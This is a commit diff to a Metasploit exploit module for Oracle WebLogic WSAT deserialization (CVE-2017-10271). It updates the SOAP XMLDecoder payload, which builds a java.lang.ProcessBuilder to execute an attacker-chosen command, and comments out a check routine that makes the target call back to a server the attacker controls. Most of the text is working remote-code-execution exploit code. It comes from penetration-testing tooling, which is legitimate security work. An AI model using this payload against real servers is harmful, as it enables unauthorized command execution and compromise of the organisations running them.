Update payload and disable check functionality

The check functionality is broken as MSF cannot handle HttpServer and HttpClient at this time.

The payloads were updated to ensure CVE-2017-10271 is being exploited instead of CVE-2017-3506 as explained on https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

Author: kkirsche

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HttpServer
+  # include Msf::Exploit::Remote::HttpServer
 
   def initialize(info = {})
     super(
@@ -55,7 +55,7 @@ def initialize(info = {})
       OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
       OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
       OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
-      OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
+      # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
     ])
   end
 
@@ -85,7 +85,7 @@ def exploit_process_builder_payload
   <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
       <java>
-        <object class="java.lang.ProcessBuilder">
+        <void class="java.lang.ProcessBuilder">
           <array class="java.lang.String" length="3" >
             <void index="0">
               <string>#{cmd_base}</string>
@@ -98,7 +98,7 @@ def exploit_process_builder_payload
             </void>
           </array>
           <void method="start"/>
-        </object>
+        </void>
       </java>
     </work:WorkContext>
   </soapenv:Header>
@@ -115,12 +115,12 @@ def check_process_builder_payload
   <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
       <java version="1.8" class="java.beans.XMLDecoder">
-        <object id="url" class="java.net.URL">
+        <void id="url" class="java.net.URL">
           <string>#{get_uri.encode(xml: :text)}</string>
-        </object>
-        <object idref="url">
+        </void>
+        <void idref="url">
           <void id="stream" method = "openStream" />
-        </object>
+        </void>
       </java>
     </work:WorkContext>
     </soapenv:Header>
@@ -145,32 +145,35 @@ def on_request_uri(cli, request)
   # the response from. This is based off of the exploit technique from
   # exploits/windows/novell/netiq_pum_eval.rb
   #
-  def check
-    start_service
-
-    print_status('Sending the check payload...')
-    res = send_request_cgi({
-      'method'   => 'POST',
-      'uri'      => normalize_uri(target_uri.path),
-      'data'     => check_process_builder_payload,
-      'ctype'    => 'text/xml;charset=UTF-8'
-    }, datastore['TIMEOUT'])
-
-    print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
-
-    waited = 0
-    until @received_request
-      sleep 1
-      waited += 1
-      if waited > datastore['HTTP_DELAY']
-        stop_service
-        return Exploit::CheckCode::Safe
-      end
-    end
-
-    stop_service
-    return Exploit::CheckCode::Vulnerable
-  end
+  # This doesn't work as is because MSF cannot mix HttpServer and HttpClient
+  # at the time of authoring this
+  #
+  # def check
+  #   start_service
+  #
+  #   print_status('Sending the check payload...')
+  #   res = send_request_cgi({
+  #     'method'   => 'POST',
+  #     'uri'      => normalize_uri(target_uri.path),
+  #     'data'     => check_process_builder_payload,
+  #     'ctype'    => 'text/xml;charset=UTF-8'
+  #   }, datastore['TIMEOUT'])
+  #
+  #   print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
+  #
+  #   waited = 0
+  #   until @received_request
+  #     sleep 1
+  #     waited += 1
+  #     if waited > datastore['HTTP_DELAY']
+  #       stop_service
+  #       return Exploit::CheckCode::Safe
+  #     end
+  #   end
+  #
+  #   stop_service
+  #   return Exploit::CheckCode::Vulnerable
+  # end
 
   #
   # The exploit method connects to the remote service and sends the specified payload